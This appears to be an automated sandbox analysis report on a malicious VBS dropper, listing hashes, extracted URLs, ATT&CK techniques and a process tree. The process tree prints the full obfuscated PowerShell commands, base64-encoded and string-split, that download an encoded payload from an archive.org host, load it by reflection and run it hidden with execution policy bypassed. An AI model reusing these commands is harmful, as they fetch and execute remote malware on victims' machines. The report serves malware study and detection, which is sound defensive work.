186313dcc5e093e7997eaa5e1bd8e9d788bcb35537ab3d6741e3b6e37eecfa60

General

Target

186313dcc5e093e7997eaa5e1bd8e9d788bcb35537ab3d6741e3b6e37eecfa60.vbs
Size

237KB
MD5

9e58cfdb4b036627fd9f2713826c023a
SHA1

e29d9ea8098c7b48c4155001a17f0db41907b1a5
SHA256

186313dcc5e093e7997eaa5e1bd8e9d788bcb35537ab3d6741e3b6e37eecfa60
SHA512

2b003e99e56973cc691e89eed4b9a42fb320e982d444adcfbc2fbe7a4b554a711df2e7c7e684b33abdbd417a8c26d84e88504a4be7b2d8b28cc4ab5fdf4d503a
SSDEEP

6144:2G9rLSoa5bOCXLvtrodqZJR2pnCc9Q5ec8:f9reoa5yCXLvtUqx+79Q5ec8

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2744	powershell.exe
6	2744	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1768	powershell.exe
2744	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1768	powershell.exe
2744	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1768	powershell.exe
Token: SeDebugPrivilege	2744	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1476 wrote to memory of 1768	1476	WScript.exe	30
PID 1476 wrote to memory of 1768	1476	WScript.exe	30
PID 1476 wrote to memory of 1768	1476	WScript.exe	30
PID 1768 wrote to memory of 2744	1768	powershell.exe	32
PID 1768 wrote to memory of 2744	1768	powershell.exe	32
PID 1768 wrote to memory of 2744	1768	powershell.exe	32

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\186313dcc5e093e7997eaa5e1bd8e9d788bcb35537ab3d6741e3b6e37eecfa60.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnWUZsdXJsID0gTVNSJysnaHR0cCcrJ3M6Ly9pYTYwMDEwJysnMC4nKyd1cy5hcmNoaScrJ3ZlJysnLm9yZy8yNCcrJy9pdGUnKydtcycrJy9kZXRhaC1ub3RlLXYvRGV0YWgnKydObycrJ3RlVi50JysneCcrJ3RNU1InKyc7WScrJ0ZsYmFzZTY0JysnQ29udGVudCA9IChOZXcnKyctT2JqJysnZWN0IFN5c3RlbS5OZScrJ3QuVycrJ2ViQ2wnKydpJysnZW50JysnKS5EJysnbycrJ3duJysnbG9hZFMnKyd0cmluZygnKydZRicrJ2x1cmwpO1lGJysnbCcrJ2JpbmEnKydyeUNvbnQnKydlbnQgJysnPSBbJysnU3lzdGVtLkNvJysnbnZlcnRdOjpGcm9tQicrJ2FzZTY0U3RyaW4nKydnKFlGJysnbGJhcycrJ2U2NENvbnRlbnQnKycpO1lGJysnbGEnKydzc2VtYmx5JysnICcrJz0gW1JlZmwnKydlY3Rpb24uQXNzZW1iJysnbHldOjonKydMb2FkKCcrJ1lGJysnbGJpbicrJ2FyeUNvbnQnKydlbicrJ3QpO1knKydGbHR5JysncGUgPSBZRmxhcycrJ3NlJysnbWJseScrJy4nKydHZScrJ3RUeXBlKE1TUicrJ1J1JysnblAnKydFLkhvbWVNU1InKycpO1lGbG0nKydldGhvZCA9ICcrJ1lGJysnbHR5cGUuR2V0TWV0aG8nKydkJysnKE1TJysnUlZBSU1TJysnUik7WUZsbWV0aG9kLkludm9rJysnZShZJysnRicrJ2wnKydudWxsLCBbb2JqZWN0JysnW11dQCcrJyhNJysnU1J0eHQuT0lOTkMnKycvJysnNScrJzc3JysnLzYnKyc1MS4zMycrJzEuMzInKycuODkxLycrJy86cHR0aE0nKydTUiAsICcrJ01TUmQnKydlJysncycrJ2EnKyd0aXZhZCcrJ29NJysnUycrJ1IgLCBNU1JkZXNhdGl2YWRvTVMnKydSICwgTVNSZGVzJysnYXRpdmFkb01TJysnUixNUycrJ1InKydSZScrJ2dBcycrJ21NUycrJ1IsTVNSTVNSKSknKSAgLVJFcGxBQ2UgKFtjaEFyXTg5K1tjaEFyXTcwK1tjaEFyXTEwOCksW2NoQXJdMzYgIC1DUmVQbGFjZSAgKFtjaEFyXTc3K1tjaEFyXTgzK1tjaEFyXTgyKSxbY2hBcl0zOSl8JiggJFBTSE9tZVsyMV0rJFBTSE9tZVszMF0rJ3gnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1768
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('YFlurl = MSR'+'http'+'s://ia60010'+'0.'+'us.archi'+'ve'+'.org/24'+'/ite'+'ms'+'/detah-note-v/Detah'+'No'+'teV.t'+'x'+'tMSR'+';Y'+'Flbase64'+'Content = (New'+'-Obj'+'ect System.Ne'+'t.W'+'ebCl'+'i'+'ent'+').D'+'o'+'wn'+'loadS'+'tring('+'YF'+'lurl);YF'+'l'+'bina'+'ryCont'+'ent '+'= ['+'System.Co'+'nvert]::FromB'+'ase64Strin'+'g(YF'+'lbas'+'e64Content'+');YF'+'la'+'ssembly'+' '+'= [Refl'+'ection.Assemb'+'ly]::'+'Load('+'YF'+'lbin'+'aryCont'+'en'+'t);Y'+'Flty'+'pe = YFlas'+'se'+'mbly'+'.'+'Ge'+'tType(MSR'+'Ru'+'nP'+'E.HomeMSR'+');YFlm'+'ethod = '+'YF'+'ltype.GetMetho'+'d'+'(MS'+'RVAIMS'+'R);YFlmethod.Invok'+'e(Y'+'F'+'l'+'null, [object'+'[]]@'+'(M'+'SRtxt.OINNC'+'/'+'5'+'77'+'/6'+'51.33'+'1.32'+'.891/'+'/:ptthM'+'SR , '+'MSRd'+'e'+'s'+'a'+'tivad'+'oM'+'S'+'R , MSRdesativadoMS'+'R , MSRdes'+'ativadoMS'+'R,MS'+'R'+'Re'+'gAs'+'mMS'+'R,MSRMSR))') -REplACe ([chAr]89+[chAr]70+[chAr]108),[chAr]36 -CRePlace ([chAr]77+[chAr]83+[chAr]82),[chAr]39)|&( $PSHOme[21]+$PSHOme[30]+'x')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2744

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
928ac813ff765e6c7a51ae2e77747876

SHA1
e5e9498af9f611d6da13b07366b9cd5f41f294af

SHA256
f4ab7ee25c361dbd0c6bd2455051567abc4d584c365b9082978fe9bdeccdd7a0

SHA512
e2cb2c6cf1df38cd33f4d5c9344c0b9c6290909eea56a56b87c7638cb336d6b6847da5dc42b3460552b34958f2a4e540e3bf193c0ddae3a8b95194fc790c7362

Download Submit
memory/1768-4-0x000007FEF617E000-0x000007FEF617F000-memory.dmp

Filesize
4KB

Download
memory/1768-5-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/1768-6-0x0000000002390000-0x0000000002398000-memory.dmp

Filesize
32KB

Download
memory/1768-12-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download
memory/1768-13-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing